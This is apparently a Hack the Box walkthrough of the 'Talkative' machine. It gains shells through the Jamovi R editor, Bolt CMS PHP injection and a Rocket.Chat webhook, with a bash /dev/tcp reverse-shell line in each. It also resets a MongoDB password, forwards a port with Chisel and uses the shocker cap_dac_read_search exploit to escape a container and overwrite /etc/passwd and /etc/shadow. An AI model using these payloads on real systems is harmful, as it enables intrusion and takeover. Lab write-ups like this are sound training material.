A hard rated Hack the Box machine which involves pivoting between multiple containers, modifying data MongoDB and Exploiting Linux Capabilities.
Recon / Enumeration
To start the recon / enumeration phase I started with a full Nmap TCP Syn scan which revealed ssh as well as multiple web servers running on a Debian machine.
nmap -Pn -T4 -sV -sC -O -p- -oN scans/nmap.tcp $IP
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.52
|_http-title: Talkative.htb | Talkative
|_http-generator: Bolt
|_http-server-header: Apache/2.4.52 (Debian)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: cFyFGjui7K967ExRb
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Fri, 15 Apr 2022 16:46:21 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conten
| Help, NCP:
|_ HTTP/1.1 400 Bad Request
8080/tcp open http Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
As we can see above, there are 5 web servers and ssh, which seems to be filtered, probably due to a firewall.
Let's start enumerating the web servers.
Port | Service |
---|---|
80 | Webpage Promoting Talkative company and their applications. |
3000 | Rocketchat application |
8080 | Jamovi spreadsheet application |
8081 | Nothing seems to be there. |
8082 | Nothing seems to be there. |
Port 80 Apache httpd 2.4.52
Apache is a recent version so no easy wins there. Let's do some subdirectory brute forcing with Gobuster.
gobuster dir -u http:/.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x php -o scans/go80.out
The /bolt directory with a 302 redirect to /bolt/login looks interesting, it is probably Bolt CMS. Let's check it out.
Indeed it is, we have the login page for Bolt CMS. I then did the following:
1. Checked for default / common credentials such as admin:admin, admin:password
2. Tested for SQLi in the username and password fields
3. SQLMap again the login form
All were unsuccessful so I decided to move on and come back to the page later.
Port 3000 Unknown Point to Point Protocol WebServer
The Rocket.Chat chat room application is running on port 3000. We are unaware of the version number and we are not able to login with default/guessable credentials. I decided to move on and come back to this later as we might be able to enumerate more information that can get us logged in. As the box is named Talkative, I assume that this will play a role in some part of the exploitation of this box.
Port 8080 Tornado httpd 5.0
There is a spreadsheet web app called Jamovi running on port 8080. As you can see below there is a security warning on the page warning us that this is an insecure version of the application. This could be a possible attack vector.
Foothold
Looking for possible exploits online I found an RCE exploit, located here, which requires a crafted .omv file containing a reverse shell to be open by the application. However, we do not have the ability to import or upload files so this will not work in our case.
Exploring the functionality of the web app more, I noticed that there is something called the rj editor available to us. Reading a Jamovi blog post here I found that this allows us to insert our own code in the R Programming language giving the user the ability to create custom functions within Jamovi.
Reading more about the R programming language I learned that this a server side language with the with the ability to perform syscalls. Looking up the syntax here I found we can use:
system("some command 2>&1", intern = TRUE)
Let's see if we have code execution:
Code
execution confirmed!
I then tried to insert a bash payload and catch it using Pwncat.
Pwncat listener: pwncat-cs -lp 9001
Payload:
system("bash -c 'exec bash -i &>/dev/tcp/10.10.14.19/9001 <&1'", intern = TRUE)
And voila, we have our first of many shells on this box. The hostname hints that this is some kind of container. Furthermore, we have limited options available to us here with many of the common Linux tools such as ifconfig, wget and curl unavailable to us. However, we do have an interesting file in our current directory. I decided to download it to my machine using Pwncat's download feature for further analysis.
User
Extracting the bolt-administration.omv with unzip on my attacker machine I found there is a json file within the .omv (xdata.json) which contains credentials.
matt:jeO09ufhWD<s
janit:bZ89h}V<S_DA
saul:)SQWGm>9KHEA
Let's go back to the two login pages we came across earlier and see can we login with these credentials.
We are unable to login to Rocket.Chat with these credentials however we get access to Bolt CMS with username admin and one of the passwords found.
We are the admin Saul in the Bolt CMS dashboard. Since we are an admin we can probably edit some of the configuration files which might give us code execution back on the box, hopefully with more privileges.
Exploring the web app I find that I can edit some PHP files which run on the web server hosting the application (Configuration > All configuration files). I decided insert PHP code into the bundles.php file to test for command execution. Since this will probably be blind command execution I decided to use a php sleep() command.
<?php
sleep(10);
?>
When I save the file and refresh the page it stalls for 10 seconds and then the page reloads. Command execution confirmed.
Now lets try and get a reverse shell with Pwncat just like we did before.
Pwncat listener: pwncat-cs -lp 9002
Payload:
<?php
passthru('bash -c "exec bash -i &>/dev/tcp/10.10.14.19/9002 <&1"');
?>
We get a shell in another container as www-data.
Looking around this container we have very little available to us. It is even more restricted than the previous container, there is not even python installed but we do have ssh.
If you remember, our nmap scan showed the ssh is filtered by the firewall from our attacker machine, however we can try and pivot to the host with ssh from the compromised container trying the credentials we found.
ssh saul@10.129.118.93
We are now on the host talkative as Saul and find the user flag in his home directory.
Root
Looking around talkative, there does not seem to be much we can do to directly escalate our privileges to root.
- Saul is not part of any groups apart from his own
- Saul is not in the /etc/sudoers file
- The Kernel is not vulnerable to local kernel exploits
- There are no interesting SUID binaries
- There are no interesting scripts running as root we can exploit
- There are no interesting cron jobs running
Doing some research I found that Rocket.Chat uses MongoDB on the backend as a database. I decided to see if MongoDB was listening on it's standard TCP port of 27017.
Furthermore, as we can see below the Rocket.Chat container is running as root. If we can get access to that container and break out of it we should be the root on the host.
MongoDB is listening running inside of a container 172.17.0.2:27017 which I do not have access to. I decided to forward the port to my attacker machine using Chisel. To do this I uploaded the chisel binary to Saul's home directory and ran the following commands:
Start Chisel server on target machine: ./chisel server -p 1337
Connect to server and forward 172.17.0.2:27017 locally on attacker machine:
./chisel client 10.129.118.93 27017:172.17.0.2:27017
I now have access to MongoDB from my attacker machine and found simply running
mongosh
gave me access to the database.
Running the following commands I found that there is a DB called Meteor which appears to the Rocket.Chat DB. Within that DB there is a collection (MongoDB terminology for a table) called users which contains a user called admin.
show dbs
use meteor
show collections
db.users.find()
Rocket.Chat stores Bcrypt password hashes in a users table in MongoDB. These are very hard to crack, so I decided to look at the Rocket.Chat documentation to see if there is an easy way update the admin's password.
I found the following article here which lets us run the following command to update the admin password to 12345.
db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
I now am able to login to Rocket.Chat with the credentials: admin:12345
Researching Rocket.Chat vulnerabilities I found this Github Repository here for CVE-2021-22911 which affects version 3.12.1 Rocket Chat and before. It is a Blind NoSQL injection with RCE. Since I already have access to the Rocket.Chat dashboard as an admin we only have to use the RCE portion of this exploit.
Reading the exploit code I found that it creates a WebHook in Rocket.Chat which runs a script on the server which can be called with a GET request to the Rocket.Chat API. More information on Rocket.Chat WebHooks can be found here.
I created an Incoming WebHook in the Rocket.Chat admin dashboard with a bash reverse shell payload and caught it with Pwncat as shown below.
Pwncat Listener:
pwncat-cs -lp 9004
Payload:
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "exec bash -i &>/dev/tcp/10.10.14.19/9004 <&1"');
Trigger:
curl http:/.htb:3000/hooks/LkpceHhNzycMXaFGx/pRBRYHTNHTwX
uRjfo3yTTjNrkZG4hYwf8ECSFLhcLJkqwZ8Y
I am now root on the Rocket.Chat container. Since our main goal here is to break out of this container I researched Docker Escapes here and found that there are multiple ways we can escape based on the current Linux Capabilities available to us.
Enumerating the current Linux capabilities I found:
Command: cat /proc/self/status
Output:
CapInh: 0000000000000000
CapPrm: 00000000a80425fd
CapEff: 00000000a80425fd
CapBnd: 00000000a80425fd
CapAmb: 0000000000000000
Decoding the hex with command: capsh --decode=00000000a80425fd
Decoded Output:
0x00000000a80425fd=cap_chown,cap_dac_read_search,cap_fowner,cap_fsetid,
cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,
cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
As you can see above the current environment has the cap_dac_read_search
Linux
Capability assigned. The
HackTricks
article I just found before mentioned leveraging this capability as one of
the possible methods to escape the container.
Doing some more Googling I found an exploit written in C here as well as a very well written blog post by Jen Andre explaining the exploit and the cap_dac_read_search Linux capability in detail here.
main() Function:
int main()
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
close(fd2); close(fd1);
return 0;
}
I noticed the comment
// get a FS reference from something mounted in from outside
. I decided to
check what is in the container from the host.
Command: mount
Mounted from the host:
/dev/mapper/ubuntu--vg-ubuntu--lv on /app/uploads type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/resolv.conf type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hostname type ext4 (rw,relatime)
/dev/mapper/ubuntu--vg-ubuntu--lv on /etc/hosts type ext4 (rw,relatime)
The exploit is looking for a file called .dockerinit
but this is not mounted
in our case. I replaced this file with /ect/hosts
file as the output of the
mount above shows us that this is mounted from the host.
Edited code:
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hosts", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, "/root/root.txt", &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
I also replaced the /etc/shadow
file with /root/root.txt
as this is the file
we want to read. I compiled the binary on the host machine as Saul using the
command cc -Wall -std=c99 -O2 shocker.c -static -o shocked
as mentioned in
exploit instructions transferred the exploit binary to my machine and then to
the container using Pwncat. After running the exploit binary in the container I
was able to read the root flag!
Going Further!
After getting the root flag I was not completely satisfied as I did not get a root shell on the box. After some more research I was able to find a brilliant github repo here further explaining all of the possibilities of exploiting Linux capabilities. It also included a modified version of the shocker exploit which gives us the ability to overwrite files.
The method is as follows:
- Use the original shocker exploit to get the /ect/passwd and /etc/shadow files
- Choose a password and hash it
- Modify our copy of the
/etc/passwd
file to add a new root user, Bob lets - Modify our copy of the
/etc/shadow
file to add Bob's password hash (from step 2) our newly created password hash - Use the modified shocker exploit to rewrite the
/etc/passwd
file with out updated version - su from Saul to our new root Bob
Create a password hash for password "password":
mkpasswd -m SHA-512 password
Output:
$6$KUOvJLqzVp9.mkCs$O561ozTdsE.kiMa9TbiFKa3PICvFYZBu30cZ.KGXEpd7wxwnaSDhgqz2.
VIFBRYJXNiDdx4UY/SNq6qwLQLGr.
Modified passwd file
Modified shadow file
Overwrite the /etc/passwd
file on the host with our new version:
./shocker_write /etc/passwd passwd
./shocker_write /etc/shadow shadow
su from saul to bob with password "password"
There we go, we got our root shell! Just for your information there is a cron
job running which restores the original /etc/password
and /etc/shadow
files
every minute so you need to be quick!
Summary
This is one of the best Hack the Box machines I have ever completed, a massive thank you to TheCyberGeek and JDgodd for creating such a fun box. Please be sure to give them respect on Hack the Box.